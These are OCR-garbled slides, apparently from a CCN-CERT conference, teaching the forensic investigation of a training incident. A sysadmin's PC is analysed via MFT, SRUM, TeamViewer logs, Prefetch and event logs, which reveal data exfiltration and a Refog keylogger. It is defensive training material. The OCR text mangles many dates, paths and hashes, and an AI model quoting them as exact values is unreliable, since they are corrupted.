| $Secure_$5D5

o

Fecha de modifica...

1771172019 17:04
17/11/2019 17:03
177112019 1703
17/11/2019 17:03
177112019 1703
17/11/2019 17:04
1771172019 17:04
18/09/2018 1945
18/09/2018 1945

Tipo

Carpeta de archivos
Carpeta de archivos
Carpeta de archivos
Carpeta de archivos

Carpeta de archivos

Archivo
Archivo
Archivo

Archivo

[ [ [ [ [
i i i i i

Tamano

8 KB
£65.336 KB
307456 KB
6.577 KB

4l
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Paso 1: MFT

= Convertimos la MFT a .csv con mftdump.exe
= Buscamos por entradas de la carpeta “Secreto”

siCreateTime (UTC

sihcces=Time (UTC) =iModTime (UTC) Actualsize FullPath

-0 2019-11-05 14:03:20 | 2019-11-05 14:01:00 \Program D ata\WindoweH olographicDevices\Secreto

2015-11-06 14:00:58 §2015-11-06 14:08:21 | 2018-10-27 00:04.23 &333673\P rogram D ata\WindowsHolographicDevices\Secreto\BD _EHP Proyect.sqlite.gpg
20158-11-05 14:01:00 §2015-11-05 14:08:24 2018-11-04 10:14:15 10267 |\P rogram D ata'\WindowesH glographicD evices\SecretoMista_candidatos xisx

2015-11-05 14:01:00 §2015-11-065 14:08:24 2018-05-25 159:24:13 150\F rogram D ata®\Window.eH olographicD evices\Secreto\README .ot bt

20159-11-05 14:01:00 §2015-11-05 14:08:24 (2019-10-13 17:06:39 | 27662527 \Program Data\WindowsH olographicDevices\Secreto\wideo_felicidad_mundial_2020.mp4

= |os ficheros fueron copiados a las 14:00h

4l
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Timeline del incidente

5/Nov 13:59 Accesos a doc
secreta en CHITONSRV
(supersecretadmin)

//Nov 13:30
] Aviso del
CCN-CERT

{ 2

5/Nov 14:01 Copia de doc
secreta de CHITONSRV a
ADMINPC1

¢

4l
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Paso 1: MFT

<centro criptolégico nacional



I #XI1IIJORNADASCCNCERT

Paso 2: SRUM

= System Resource Utilization Monitor - Windows 10 new!

= |ndica el ancho de banda consumido por aplicacion

» Usamos NetworkUsageView - ;TeamViewer?

@ NetworkUsageView
File Edit View Options Help

B Fa A
Tirmnestarmp App Mame App Description Bytes Sent Bytes Received
08/09/2019 14:55:00 - 07/11/2019 15:26:00 766,922,150 7.0482.245,594
09/09/2019 2:05:00 - 07/11/2019 15:26:00 DoSve Optirmizacion de entrega 211.701.635 4,644.817.082
13/10/2019 18:49:00 - 05/11/2019 15:55:00 \device\harddiskvolurme2\program files (x38)\tearmviewertearmviewer_service.exe 197.303.5311
05/10/2019 19:49:00 - 05/11/2019 15:55:00 TermService Servicios de Escritorio remoto 75.458.095 52.708.200
08/09/2019 14:55:00 - 07/11,/2019 15:26:00 Systern'SME 67.834.172 763.267.930
25/09/2019 21:14:00 - 07/11/2019 15:26:00 \devicehharddiskvolurneZiwindows\system32\mstsc.exe 21.836.312 137.165.931
09/09/2019 2:05:00 - 07/11/2019 15:26:00 wlauserny Windows Update 18.835.079 51335715
08/09/2019 14:55:00 - 07/11/2019 15:26:00 DiagTrack Telernetria y experiencias del usuario ... 18,819,143 32662535
08/09/2019 14:55:00 - 07/11/2019 15:26:00 gpsvc Cliente de directiva de grupo 17.568.133 17.478.837
08/09/2019 22:02:00 - 07/11/2019 15:26:00 Systemn 12.935.306 10.683.014
10/10/2019 21:44:00 - 051172019 8:50:00 \device\ harddiskvolurme2yprogram files (x26)\googlelchromehapplicationhchrom... 12.686.894 356.749.712
08/09/2019 14:5500 - 07/11/2019 15:26:00 \devicehharddiskvolume2iwindows\systern32\Isass.exe 11,664,053 9.280.314
08/09/2079 14:55:00 - 07/11/2019 15:26:00 WpnService Servicio del sisterna de notificaciones...  10.430.664 10477604 i

coN-cert
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Paso 3: TeamViewer

= TeamViewer: Software de acceso remoto
= Puede controlar y dar control del equipo
= Acceso remoto + Transferencia de ficheros

= Extraemos ficheros de interés con FTK Imager:

C:\Archivos de Programa (x86)\Teamviewer\TeamViewer14_Logfile.log
CA\Archivos de Programa (x86)\Teamviewer\Connections_incoming.txt
C:\Users\salvador.bendito\AppData\Roaming\TeamViewer\ TeamViewer14_Logfile.log
C:\Users\salvador.bendito\AppData\Roaming\TeamViewer\Connections_incoming.txt

4l
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Paso 3: TeamViewer

» Prueba de la exfiltracidén de ficheros:

2819/11/85 15:88:24.368 5616 G1 Enviar desde "C:\ProgramData\windowsHologPaphicDeviceg\EecPetd}BD_EHP_Proyect.sqlite.gpg“ a “jPnot\EecretdeD_EHP_Proyect.sqlite.gpg" (8.42 MB)
2019/11/05 15:88:24.398 5616 G1 Enviar desde "C: \ProgramData\wlndowsHologPaphlcDevlceg\EecPetdfllgta candidatos.xlsx™ a “jPnot\EecPethlista_candidatos.xlsx" (19.62 kB)
2019/11/05 15:88:24.454 5616 G1 Enviar desde "C: \ProgramData\wlndONSHologPaphlcDev1ce5\BecPetdeEADME txt.txt™ a "frootﬂSecretdeEﬂDME.txt.txt" (158 Bytes)

2819/11/85 15:88:25.234 1: 7524 58  UdpOutputTracker(): x 55715 effectiveSent 57344 RTT 1894

2819/11/85 15:88:25.255 1 7524 S8  UdpOutputTracker(): max 57344 effectiveSent 60786 RTT 1894

2819/11/85 15:88:25.295 1: 7524 58  UdpOutputTracker(): max 68780 effectiveSent 64512 RTT 1894

2019/11/65 15:88:25.3388 1 7524 56 UdpConnection is stable: 1

2819/11/85 15:88:25.591 1: 7524 S0  UdpOutputTracker(): max 64512 effectiveSent 64832 RTT 1094

2819/11/85 15:88:38.279 1: 4808 S0  UdpOutputTracker(): max 64832 effectiveSent 71923 RTT 1872

2819/11/85 15:88:32.279 1: 4808 S0  UdpOutputTracker(): max 71923 effectiveSent 74752 RTT 1189

2019/11/65 15:88:33.818 7688 Gl TaskbarProgress: :ProgressWorkerFunc: Worker end.

2019/11/65% 15:88:33.811 1468 G1!! DataTransceiver: TransfterProtocol => TransferProtocol::GetIncomingTransferWithTransmissionID: unknown id: 3782844881

2019/11/65% 15:88:33.855 1468 G1!! DataTransceiver: TransferProtocol => TransfterProtocol::ReceivedChunkCommand: unknown id: 3782844881

2019/11/05 15:88:33.856 1468 G1!! DataTransceiver: TransferProtocol =» TransferProtocol::ReceivedChunkCommand: unknown id: 3782844881

2819/11/85 15:88:33.099 5616 G1 Enviar desde "C:\ProgramData\windowsHologPaphicDeviceg\ﬁecPetdfvidEn_felicidad_mundial_EBZB.mpd" a "front\ﬁecretoy

video felicidad mundial 2828.mpd4™ (26.38 MB)

: Equo destmo kali-one

2019/11/05 :87:13.206 CPersistentParticipantManager: :AddParticipant: [1426410288,357111849] type=3 name= kalh -one

2019/11/65 :87:13.267 CParticipantManagerBase participant Paﬂl one (ID [1426410288,357111849]) was added with the role 3

2819/11/85 :@7:13.287 1 CPersistentParticipantManager: :OnParticipantRoleChanged the participant [1426418288,357111849] has changed the role from @ to 3
2019/11/05 :@7:13.210 58 j CParticipantManagerBase participant Paﬂl one (ID [1426410288,357111849]) was added with the role 3

2019/11/85 :@87:13.237 1 CPersistentParticipantManager: :AddParticipan [1422614371,-792837247] type=6 name=MINAF-PC1
2019/11/05 15:87:13.239 1 ReadStreamFarameters(). StPeamID—l type=1 (StreamType Misc), source=[1422614371,-792837247], features=1, compression=2

2019/11/85 :87:13.218 88 j Mew Participant added in CFart1c1pantManagFrtraH1 one ([1426410288,357111849])

coN-cert
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Paso 3: TeamViewer

= [nstalacion del software:

2019/18/27
2019/18/27
2019/18/27
2019/11/85
2019/11/65
2019/11/85
2019/11/85
2019/11/85
2019/11/85
2019/11/85
2019/11/85
2019/11/85
2019/11/85

Service install: Param:'-uninstall®’

CService: :Stop(): ControlService() failed 1862, Errorcode=1862
Service TeamViewer uninstalled

IsWindowsServerVerifyOnce(): Is a windows server @

Logger started.

Service install: Param:'-install’

GetSimpleDisplayCertNameFromFile: Found cert name: 'TeamViewer GmbH'.

VerifyTeamViewerCertificate: File for loading certificate is C:\Program Files (x86)\TeamViewer\TeamViewer Service.exe

VerifyTeamViewerCertificate: SHA256 code path.
5HA256 certificate check.

VerifyCertHash(): Certificate check succeded.
ServiceConfiguration: Creating service
Service TeamViewer at "C:\Program Files (x86)\TeamViewer\TeamViewer Service.exe" installed

= Hipotesis: el sysadmin salvador.bendito hizo uso de sus privilegios de
admin de dominio para entrar en CHITONSRV y copiar la carpeta Secreto
en su equipo, instalar TeamViewer y emplearlo para exfiltrar los datos

coN-cert
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S/Clj\lovB:S? Accea(_)ll 8&%%@ . . . .
O persacretdmin, Timeline del incidente

5/Nov 14:04 Instalacion de
Teamviewer en ADMINPC1

5/Nov 14:01 Copia de doc
secreta de CHITONSRYV a
ADMINPC1

//Nov 13:30
] Aviso del
CCN-CERT

O

{ 2

5/Nov 14:08 Exfiltracion de
la carpeta Secreto via
eamViewer

4l
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_loC__

» Existencia de TeamViewer en el equipo
(software no corporativo)

= Conexiones al equipo kali-one (no hay IP, ni
resolucion DNS, ni equipo en dominio)

4l
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:

Salvador Bendito es detenido
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COMUNIDAD Y CONFIANZA,

BASES DE NUESTRA CIBERSEGURIDAD
#XIIJORNADASCCNCERT

OC.CCN.CNL.ES
WWW.CCN.CNL.ES
WWW.CCN-CERT.CNL.ES

X
STIC

CCN-CERT/

(4
’I{f l

JORNADAS
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Paso 4: Prefetch

I #XI1IIJORNADASCCNCERT

Recuperamos de la imagen y cargamos con WinPrefetchView

UtilT.exe ejecutado el 4/Nov a las 14:11h UTC

[PH WinPrefetchView

File Edit View Options Help
I XEHaE QA
Created Time File Size Process EXE Process Path Run Last Run Time
03/11/201918:53:16  &.787 TREESIZEFREESET... JEAUSERS\SALVADOR.BEMDITOVAPPDATANLOCALNTEMPYIS-... 1 03/11/2019 18:53:06
03/11/2019 19:08:34  3.406 WEVTUTIL.EXE INWindows\Systern3 2 wevtutil.exe 10 0371172019 19:08:34, 03/11/2019 19:08:34, 03/11/2...
20010/2019 21:18:17  5.766 SOFTWARE_REP...  J\Users\SALVADOR.BENDITOVAppData\LocalhGoogle\Chro... 18 0371172019 19:33:10, 03/11/2019 19:33:10, 03/11/2...
03/11/2019 20:41:43 5944 WINSAT.EXE INWindowsh\Systemn 32\ WinSAT exe 2 03/11/2019 20:41:43, 03/11/2019 20:41:34
03/11/2019 20:41:43 4928 RUMDLL32.EXE INWindows\Systern 32 rundll32. exe 2 03/11/2019 20:47:43, 03/11/2019 20:41:34
0471172019 14:06:29 2,539 ARP.EXE INWindows\System 324 ARP.EXE 1 04/11/2019 14:06:29
041172019 14:06:47 2,440 IPCOMFIG.EXE INWindows\System32vipconfig.exe 1 04/11/2019 14:06:47
041172019 140737 3.027 METSTAT.EXE INWindows\System32\nbtstat.exe 1 04/11/2019 14:07:32
041172019 140812 2,158 PIMNG.EXE INWindows\System32\PING.EXE 1 04/11/2019 14:08:06
041172019 14:11:52 13,740 UTILT.EXE IN\Users\SALVADOR.BENDITONZD QBJIECTShutil1.exe 1 04/11/2019 14:11:42
041172019 14:13:15  7.809 MPEIMST.EXE INWindows\SysWOWeSMPKAMPEInst. exe 1 04/11,/2019 14:13:14
041172019 141319 6,633 686DEBGD-AGDE-...  EA\WINDOWS\SYSWOWES MPIGBEDEBG0-ABDE-469A-A6A.., 1 0411/2019 141309
04/11/2019 14:13:20 24702 6B6DEE60-AB0G-...  JIAUSERS\SALVADOR.BEMDITOVAPPDATANLOCALNTEMPAIS-... 1 04/11/2019 14:13:10
0471172019 14:13:21  4.285 _SETUP&LTMP JAUSERS\SALVADOR.BEMDITONAPPDATANLOCALNTEMPYIS-... 1 04/11/2019 14:13:11
04/11/2019 141315 7.906 LSYMCHOST.EXE INWindows\SysWOWePMPE\LSYNCHOST.EXE 4 041172019 14:13:15, 04/11/2019 14:13:15, 041172,
05/11/2019 6:50:22  8.839 SWCHOST.EXE INWindows\System32\svchost.exe 1 05/11/2019 6:50:12

coN-cert
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Paso 4: Prefetch

I #XI1IIJORNADASCCNCERT

Revisamos |la actividad anterior a util1.exe

Posible actividad de reconocimiento

[PH WinPrefetchView
File Edit View Options Help

X EEH =g A

Created Time File Size Process EXE Process Path Run Last Run Time

03/11/201918:53:16  &.787 TREESIZEFREESET... JEAUSERS\SALVADOR.BEMDITOVAPPDATANLOCALNTEMPYIS-... 1 03/11/2019 18:53:06

03/11/2019 19:08:34  3.406 WEVTUTIL.EXE INWindows\Systern3 2 wevtutil.exe 10 0371172019 19:08:34, 03/11/2019 19:08:34, 03/11/2...
20010/2019 21:18:17  5.766 SOFTWARE_REP...  J\Users\SALVADOR.BENDITOVAppData\LocalhGoogle\Chro... 18 03/11/2019 19:33:10, 03/11/2019 19:33:10, 03/11/2...
03/11/2019 20:41:43 5944 WINSAT.EXE INWindowsh\Systemn 32\ WinSAT exe 2 03/11/2019 20:41:43, 03/11/2019 20:41:34
03/11/2019 20:41:43 4,928 RUMDLL32.EXE INWindows'Systermn 32\ rundll32. exe 2 03/11/2019 20:41:4303/11/2019 20:41:34
0471172019 14:06:29 2,539 ARP.EXE INWindows\System 324 ARP.EXE 1 04,/11/2019 14:06:29

041172019 14:06:47 2,440 IPCOMFIG.EXE INWindows\System32vipconfig.exe 1 04/11/2019 14:06:47

041172019 140737 3.027 METSTAT.EXE INWindows\System32\nbtstat.exe 1 04/11/2019 14:07:32

041172019 140812 2,158 PIMNG.EXE INWindows\System32\PING.EXE 1 041172019 14:08:06

041172019 14:11:52 13,740 UTILT.EXE IN\Users\SALVADOR.BENDITONZD QBJECTShutill.exe 1 041172019 14:11:42

041172019 14:13:15  7.809 MPEIMST.EXE INWindows\SysWOWeSMPKAMPEInst. exe 1 04/11/2019 14:13:74

041172019 141319 6,633 686DEBGD-AGDE-...  EA\WINDOWS\SYSWOWES MPIGBEDEBG0-ABDE-469A-A6A.., 1 04/11/2019 14:13:09

04/11/2019 14:13:20 24702 6B6DEE60-AB0G-...  JIAUSERS\SALVADOR.BEMDITOVAPPDATANLOCALNTEMPAIS-... 1 04/11/2019 14:13:70

0471172019 14:13:21  4.285 _SETUP&LTMP JAUSERS\SALVADOR.BEMDITONAPPDATANLOCALNTEMPYIS-... 1 04/11/20015 14:13:11

04/11/2019 141315 7.906 LSYMCHOST.EXE INWindows\SysWOWePMPE\LSYNCHOST.EXE 4 041172019 14:13:15, 04/11/2019 14:13:15, 041172,
05/11/2019 6:50:22  8.839 SWCHOST.EXE INWindows\System32\svchost.exe 1 05/11/2019 6:50:12

coN-cert
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Paso 5: MFT reloaded

I #XI1IIJORNADASCCNCERT

= Buscamos util1.exe en la MFT del 4/Nov

20158-11-04 14:06:25
2015-11-04 14:06:25
20158-11-04 14:06:47
2018-11-04 14:.07.37
2015-11-04 14:08:12
2018-11-04 14:08:33
2019-11-04 14:11.08
20158-11-04 14:11:38
20158-11-04 14:11:38
2015-11-04 14:11:52
20158-11-04 14:12:30
20158-11-04 14:12:30
2018-11-04 14:13:07
2015-11-04 14:13:10
20158-11-04 14:13:12
20158-11-04 14:13:12
Eﬂlﬂ'—ll—ﬂlﬂf 14 13 lF_'

2018-11-05 14:09:03
2018-11-04 14:06:29
2018-11-04 14:06:47
2018-11-04 14:.07:37
20158-11-04 14:08:12
2018-11-05 13:57:49
2019-11-04 14:13:22
20158-11-04 14:13:11
2018-11-07 10:45:31
20158-11-04 14:11:52
2018-11-04 14:13:12
2018-11-04 14:13:12
2018-11-07 14:22:55
2019-11-06 07:16:01
2018-11-05 07:16:21
2018-11-05 07:16:21
F_'Ellﬂ'—ll—ﬂ'." 05:56:19

2019-11-05 14:09:03
2015-11-04 14:06:25
2015-11-04 14:06:47
20158-11-04 14:.07.37
2015-11-04 14:08:12
2018-11-05 13:57:48
2019-11-04 14:11:15
2015-11-04 14:11:38
2015-11-04 14:11:38
2015-11-04 14:11:52
2015-11-04 14:12:30
2015-11-04 14:12.:30
2018-11-05 13:54:47
2015-11-04 14:13:22
2015-11-04 14:13:22
2015-11-04 14:13.08
Eﬂlﬂ'—lﬂl—lﬂ 13 4'." EEI

7726/pf
2538 pf
2440|pf
3027 |pf
2158 pf
7224 pf
16864576 exe
1141
10648
13740 pf
1367552 di
336384 d

31407 bat

45487 dat
1186624 exe
4366208 exe

Windowe\P refetch\ AUDIO DG .EXE-BDFD3029.pf
Windowe\Prefetch\AR P EXE-2BC 330967 pf
Windowe\PrefetchIPCONFEIG EXE-312F 3D5E. pf
Windowe\Prefetch\NBT STAT EXE-84461EBE. pf
Windowe\Prefetch\PING . EXE-TES4E73IE .pf
Windowe\Prefetch\MET .EXE-DF44F513.pf

‘U sers\sahador. bendio\3D O bj exe

\P rogram D ata\MicrosoftiWindowe Defender.3cans\Histony\Store\26655E
\Program Data\MicrosoftWindowe Defender Scans\Histony\R esults\R esc
Windowe\P refetch\UTIL]1.EXE-A4084800. pf

\Users\sahvador bendito\AppD ata\l ocalTempilibeay32.dil

U sersizalvaderbendionaDaailocal Tengissieaya? di
WWindows\SysWOWEIMPK
Windowe\SysWOWENM P K\og. oo
Windows\SysWOWeSM P Kwnins000.dat
WWindowes\SysWOWEHM P Kwnins000.exe
Windowe\SysWOWENM P K\WMP K. exe

= .y esedirectorio MPK en C\Windows?

coN-cert
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Paso 5: MFT reloaded

I #XI1IIJORNADASCCNCERT

= Extraemos utilT.exe y calculamos su hash

HashMyFiles — O

File Edit View Options Help
SO Q HEBET QA

Filename < MD5 SHAN CRC32
(=] util.exe 54c93e728feTodalach918c20183cd5e 76397646ecf50736448c65358cd57562109e110f  40f4blch
ﬁ' unins000.exe c3a2feldbbba3cB1f98ebbaTd109ef99 1255c72eb2c737fB45938daf5029c358174%9a0... cB2a7l162
(5= MPKView.exe cfa3ad146672b335f462edccbc2bibed fefd749c5980f4e22748eb2776be9bdc071eBaas 825023b5
(8] MpkL64.exe cd4837021fc3d706d965250df6f8bdfc b059108ef7c87dea3548930477f2c40d827fOb03  f19a5fbc
(8| MPKInst.exe b1fSeasdefdfobd 793ad065433ectfEd f5ced99b729090e7bd132ee1 fdalabdbded... 57bfdedd
(5= MPK.exe cd1a48443d30365bd31b7ca258c26fb6 34bc7823773037a6913cd555e03a% 1cecdaa..  8clel5eb
(85| Isynchost.exe b70aflcdball17ed3c0cd93e787aa0872 a328d0d29a2eefff38bd9427bcaldbf2a3fcd49ad  991cbbfa
(8= Inkmst.exe 6e6936db7a84fbabc8d90ebbcd90fbdd 3539 2e16328f2f7643c5622b65ccd T2cd1f9H2d  Gaebldbe
<
g file(s)

= ..y hacemos lo mismo para los binarios de MPK

coN-cert
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Paso 5: MFT reloaded

VirusTotal dice:

() 22 engines detected this file

3959dd368cach195a0edac108b6391213cc746520683a9bb82ard3

16.08 MB
0d1b28c361 .
Size
rpm-9-0-9-3450-wl exe
Cammunity bobsoft overlay peexe signed
Score
DETECTION DETAILS BEHAVIOR COMMUNITY

Application.Keylogger Refog.P

FileRepMalware [PUP]

Gen:NN.ZelphiF.31176.@V1@aGLBXfk

Application Keylogger Refog.P (B)

Application.Keylogger Refog. P

Application.Keylogger Refog. P

@ 0 6 6 0 6 O

Trojan.Win32.Crypt

O

@ Artemis!S4CI3ET28FET

Password-Stealer { 004eb2101 )

@ PUF Refogkeylogging!d.F660 (TFE:5:yps...

@ G @ @ @ @ © B @ @ 6

(D) Refog Inc. (v)

“Refog”

) z 1 9 () 19 engines detected this file
-10- -04- o]
2019-10-31 21:04:53 UTC 0 3afale6ae006157963bfc 3ad353a0d47 3fefd28aB25/06927b8b6T507 474 VB
16 days ago EXE BbE6F Size
overlay peexe signed
Community
Soore
DETECTION DETAILS BEHAVIOR  COMMUNITY

Application_Keylogger Refog P

(1) RiskWare:Win32/Refog.5b834579 D)
Application_Keylogger.Refog.P

(D) Win32:Malware-gen ®
Unsafe

(D) Unsafe @
Malicious (high Confidence)

@ A Variant Of Win32/KeyLogger. Refog.B @
A Variant Of Win32/KeyLogger Refog.F

o @ Not-a-virus:HEUR:Monitor Win32 Refog.gen @
Application.Keylogger. Refog. P
e

Password-Stealer  004eb2101 ) @ Artemis(Trojan 0
Malware (ai Score=76) (D) Hacktool/Keylogger O]
PUA:Win32/RefogKeylogging (D) TROJ_GEM.RO3BHOCK919 O]
Heuristic @ Refag Inc. (v) @
System Monitor.Refog. System.Mon (1) Mot-awirus:HEUR:Monitar Win32 Refog.gen )

2018-11-17 05:51:27 UTC %1
10 hours ago EX

Win32:Malware-gen

Win.Trojan KGBKeylog-1
W32Trojan.VVFD-3968
Riskware/Generic_PUA_DE
ArtemisICD1A48443D80
PUAWin32/Refogkeylogging
Generic PUA DE (PUA)

BScope TrojanSpy.Keylogger
System.Monitor Refog. System.Mon
Undetected

[
coN-cert
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Paso 5: MFT reloaded

REFOG’

Home

BREFOG for Windows
Reqgistre actividades de
usuarios de ordenadores y
sUs contrasefias, sague
capturas de pantalla

REFOG for Mac OS5
Software de control
parental

Business

Employee Monitor

Proteja los activos de su
empresa supervisando la
actividad de los empleados

Terminal Monitor

Haga el seguimiento de las
actividades de los
empleados en el Servidor
de Terminales

Obtenga el registrador de teclado

Productos - Comprar Soporte Iniciar sesion |Z Espafio | |

| Keylogger para
nuevo Resefias de clientes |OS amigOS

Este simple programa de supervision le ayudara a proteger a sus hijos controfando
sus actividades de ordenador: chateo, paginas Web visitadas, juegos. Refog
Keylogger es facil de usar y escondido de sus hijos.

Descripcion P

M. LEE

! Comprar Ahora a Descargar

IMMEDIATA ¥ SEGURA DE PRUEBA GRATUITA

et e
e

Plataforma: Windows 10, 8.1, 8, 7, macOS5 10.9-10.15 Catalina

¢;Le preocupa la seguridad de sus hijos?

Si sus hijos pasan el tiempo charlando o jugando juegos de computadora, pueden ser abordados o
amenazados por extrafios. Internet tiene anonimato, y el anonimato significa impunidad en la mente de los
abusadores. jLa solucién? jViole su anonimato al monitorear las actividades de sus hijos!

REFOG Personal Monitor esta disefiado para tratar con familias extensas, pero se adapta a familias
pequefias con la misma facilidad. Al permitirle monitorear las actividades de sus hijos de forma remota a
través de Internet, REFOG Personal Monitor ni siquiera requiere su presencia cercana para recibir alertas

sobre las actividades sospechosas de sus hijos o de alguien con quien conversen. CN - cerr
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Paso 5: MFT reloaded

= Buscamos el origen de los ficheros

Evidence Tree ) ||Fi|e List

. [#+{3) Public
EHE,'] salvador bendito
: {2 3D Objects

M Mame Size

NEED 4

[8=| TeamViewer_Setup.exe 25.586
(85| TreeSizeFreeSetup.exe 10.064

L3 AppData

JE:I Configuracian local

----- L) Contacts

IE,'_I Cookies

{El Datos de programa

IE,'_I Downloads
...{.7) Entomo de red

JE:I Favorites

----- L) Impresoras

= .. /de donde salio el keylogger?

Type

MTFS Index All...
Regular File
Regular File

Date Modified

05/11/2019 14:02:32
05/11/2019 14:02:43
03/11/2019 18:52:36

4l
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Paso 6: EventlLog

= Revisamos la actividad de los dias 4y 5 de noviembre

MNudmero de eventos: 802

Security_3
Filtrados:Registro: file://C:\Users\antonic\Desktop'\Presentacion_STIC\2.6_ADMINPC1_EventlLog\Security.evbe Origen: ; Id. del

F

Mivel Fecha y hora Origen |d. del evento  Categoria de latar... *
1 Informacicn 04/11/2019 15:05:38 Microsoft Windo... Logon

@Informacic’m 04/11/2019 15:05:39 Microsoft Windo... 4624 Logon

@Infurmacic’un 041172019 15:05:40 Microsoft Windo... 4624 Logon v
Farn

Evento 4624, Microsoft Windows security auditing. x

General Detalles

Informacian de inicio de sesion:

Tipo de inicio de sesian: ‘-
Modo de administrador restringid

Cuenta virtual: Mo
Token elevado: S0
Mivel de suplantacidn: Suplantacian

Muevo inicio de sesion:
ld. de seguridad:
MNombre de cuenta:

5-1-5-21-3993753849-1513836012-2919521276-1111
salvador.bendito

Dominio de cuenta: MIMNAF
Id. de inicio de sesion: Ox10B4DBD
Inicio de sesion vinculado: Ooel

MNombre de cuenta de red: -
Dominio de cuenta de red: -
GUID de inicio de sesidn: {00000000- 0000-0000- 0000- 000000000000}
Informacion de proceso:
Id. de proceso:
MNombre de proceso: =

Informacian de red:
Mombre de estacion de
Direccion de red de origg
Puerto de origen:

W AER
:10.11.2.14
0

Mumero de eventos: 9

| Microsoft-Windows-TerminalServices-RemoteConnectionManageri40perational _1

Mivel Fecha y hora Origen Id. del evento
(D Inforrnacian 05/11/20719 7:48:58 Termninal5ervices-... 258
@ Inforrmacion 05/11/2019 7:48:528 Termninal5ervices-.., 20523

04/11/2019 15:05:38 TerminalServices-..,
041172019 15:05:38

04/11/2019 15:05:09

Informacion
@Infarmacién
@Infarmaciﬁn

261
261

TerminalServices-...
Terminal5ervices-...

Evento 1149, Terminal5ervices-RemoteConnectionManager

General Detalles

I EENICIDS EE ECFIEDFID FEF'I"II:IEI:I: EUEEF‘IEICECIDF‘I EE usLuario CDFFEEE: I

Usuario: salvador.bendito
Dominio: MINAF
Direccion de red de origen: 10.11.2.14

= 10.11.2.14 = WEBSERVER
= Red=Logon Type 3
» Esc. Remoto = Logon Type 10

= WTF?7?7? coN-cert
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Paso 6: EventlLog

I #XI1IIJORNADASCCNCERT

Al parecer si NLA (Network Level Auth) esta activado, el logon type =3

Comprobamos el valor de la clave del registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro/\Terminal

Server\WinStations\RDP-Icp\SecurityLayer

[ [ RCM
[~ SessionArbitrationHel. ..
[~ SysProcs

[+ [~ TerminalTypes

[ Utilites

[+ = VIDEO

[ Wds

4 [T WinStations
: 7~ Console
4 RDP-Tcp
[~ TSMMRemoting...
[~ VideoRemoting...
[~ TimeZoneInformation
[~ Ubpm

PdClass1

PdDLL

PdDLL1

PdFlag

PdFlagl
PdMame
PdMame 1
PortMumber
Securitylayer
SelectNetworkDetect
SelectTransport
Shadow

UserAuthentication

ReaDword
Regsz
Regsz
RegDword
RegDword
Regsz
Regsz
RegDword
RegDword
RegDword
ReaDword
RegDwaord
RegDword

tdtop

t=secsry

SecuritylLayer

05/02/2017 » 2 minutestoread - @ @ @ H G

securitylayer specifies how servers and clients authenticate each other before a

remote desktop connection is established.

Values

Specifies that the Microsoft Remote
Desktop Protocol (RDP) is used by the
server and the client for authentication
before a remote desktop connection is
established. RDP is a Microseoft protocol
that supports terminal services across
heterogeneous network environments.

Specifies that the server and the client
negotiate the method for authentication
before a remote desktop connection is
established. This is the default value.

Specifies that the Transport Layer Security
(TLS) protocol is used by the server and
the client for authentication before a
remote desktop connection is established.

oN-cert
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I - X111JORNADASCCNCERT
4/Nov 14.05 Acceso1 RDP . ] . .
WEBSERVER S ADMINPCH Timeline del incidente

4/Nov 14:11 Instalacion
del keylogger

4/Nov 14:06
Reconocimiento del
Sistema

O

5/Nov 12:06 Acceso RDP
de salvador.bendito a
CHITONSRV

4l
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5/Nov 13:59 Acceso por RDP
a doc secreta en CHITONSRV
(supersecretadmin)

5/Nov 13:54 AccesoZ RDP
WEBSERVER 2 ADMINPCT

5/Nov 14:01 Copia de doc
secreta de CHITONSRYV a
ADMINPC1

O

I~ XIIIJORNADASCCNCERT
Timeline del incidente

5/Nov 14:04 Instalacion de
Teamviewer en ADMINPCT

//Nov 13:30
] Aviso del
CCN-CERT

{ 2

5/Nov 14:08 Exfiltracion de
la carpeta Secreto via
eamViewer

4l
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_loC__

» Conexiones desde la P 10.11.2.14

= WEBSERVER: Windows 2008 Server de
Preproduccion, lleva cosas del area de
Desarrollo

= Existencia de Refog en el equipo
(CAWIndows\SysWow64\MPK)

4l
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Analisis del incidente: Objetivos

Alcance: 2 equipos comprometidos, 1 equipo
sospechoso

= |mpacto: Copia de la carpeta de Documentacion
del EHP, compromiso de credenciales de un
admin de dominio

= |OC:5

= \ector de entrada: Desconocido

= Exfiltracion de datos por TeamViewer

= Despliegue del Keylogger Refog

4
<entro criptolégico nacional
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Contencidn

= Se han comprometido unas credenciales de un administrador de
dominio

» Cambio de contrasefias inmediato de todos los administradores
de dominio

= Revision de los logs del controlador de dominio
= NO existen conexiones anomalas desde ADMINPC1

. Se recomienda avanzar el reseteo del KRBTGT semestral

4l
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Adaquisicion de evidencias - WEBSERVER

» Volcado de RAM: winpmem
= Datos de triage: CyLR

= Copia de C\inetpub (ficheros de [IS)



#XIIIJORNADASCCNCERT

[ [ 4

Se documenta la adquisicion

HHEHHHEARRREEHERRHRREEREHHHREHRRREREHEE A
Ficha de Adquisicion de evidencias
AR HN AR

Caso: MINAF-2619-6013

Nimero de adquisicidon: MINAF-8013-863

Fecha de captura: ©8/11/2819

Hora de captura: 22:45h

Persona que realiza la adquisicidn: Angela de la Guarda (responsable de seguridad de la
subdireccidn TIC del MINAF)
* Personas presentes durante la adquisicién: Maria Feliz (Subdirectora General
de Festejos del MINAF)
* Equipo adquirido: WEBSERVER, IP 18.11.6.11
* Evidencias adquiridas: Volcado de memoria a través de la herramienta winpmem,
datos de triage a partir de la herramienta CyLR.
* Ficheros de evidencia:

68717138e9856ftd56b61e?2/5ecblclcad  MINAF webserver inetpub.tar.gz
+179cdtb2d8aadlcl87982883abclBc]l MINAF webserver.mem

49821 800404675296 cBeB8477 MINAF webserver triage.zip
9d6de70d73828F49bced9edbbc89bfdb7772ed38 MINAF webserver inetpub.tar.gz
9e77859de31b973818896b1f214b4A8e93586addd MINAF_webserver.mem
98319fd314df426660109e327c1543026357498f MINAF_webserver_triage.zip
11fc7584193969d653247A3cbccbB23780a85bB36d35efa2aebba%1b2a3e52a33 MINAF webserver inetpub.tar.gz
41746eed0471d9bB4ea?lbci/f9Tad8edfbe3b95d1481482722ea8c5T1d4984ed MINAF_webserver.mem

62664 245871a72at2452bba2d3912899295d7bt813df25eaad596765a5639+t9c MINAF_webserver_triage.zip
ate/c/5b70aled382044c95aed737fab MINAF_bro.tar.gz

dcb3e+170668495F13b98dba8ec9b88d7c62a39b MINAF bro.tar.gz
F5+7c4807ba2deaddcB333819fde929b5ed5e3f2bde78ce7615b659Tc13382e83 MINAF_bro.tar.gz

Procedimiento seguido

- Se localiza el servidor CHITONSRV en el CPD.
